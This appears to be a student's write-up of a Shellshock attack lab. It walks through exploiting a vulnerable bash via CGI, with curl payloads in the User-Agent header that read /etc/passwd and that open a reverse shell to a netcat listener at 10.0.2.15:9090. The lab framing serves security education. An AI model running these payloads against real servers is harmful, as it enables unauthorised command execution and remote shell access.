Shellshock Attack Lab

Xinyi Li

February 19, 2020

Task 1

Experiment

Use the following commands to define a shell function, export it into the environment, and then observe if it prints 'extra' when calling the child shell with /bin/bash_shellshock or /bin/bash.

```
1 $ foo='() { echo "hello world"; }; echo "extra";'
2 $ export $foo
```

As expected, using /bin/bash_shellshock leads to extra print out while it is clear in /bin/bash.

Task 2

```
1 $ su
2 $ cp myprog.cgi /usr/lib/cgi-bin
3 $ sudo chmod 755 /usr/lib/cgi-bin/myprog.cgi
```

Task 3

The Apache creates a child process to execute bash_shellshock with function exec(), and \$\$ will be replaced by bash_shellshock with the ID of the current process. So strings /proc/\$\$/environ will be correctly executed while parsing the HTTP request.

Task 4

For instance, I can steal passwords of the server using

```
1 $ curl -A "() { echo hello;}; echo Content-type: text/plain;
    echo; /bin/cat /etc/password;"
    http://localhost/cgi-bin/myprog.cgi
```

However, because /etc/shadow is only readable to root, I cannot steal the content of the file unless the webserver is launched by root.

Task 5

The attacker: 10.0.2.15The server: 10.0.2.4



Figure 1: the attacker's IP address

First, build a TCP connection:

```
1 $ nc -lv 9090
```

It is blocked with listening on the port 9090 and print the information of whatever it fetches. Just keep the shell running and finish the following command in another shell

Then start a new shell and make use of the shellshock to map the server's stdin/stdout to local shell.

```
1 $ curl -A "() { echo hello;}; echo Content-type: text/plain; echo; echo; /bin/bash -i -> /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://10.0.2.4/cgi-bin/myprog.cgi
```

So, a reverse shell is created.

Task 6

Reproduction of Test 3 is successful while the ones of the other two tasks fail.

Figure 2: Reverse Shell

Because the output of environment variables is done directly by the bash itself rather than passing to any caller. The behavior will not be influenced by the version of the shell.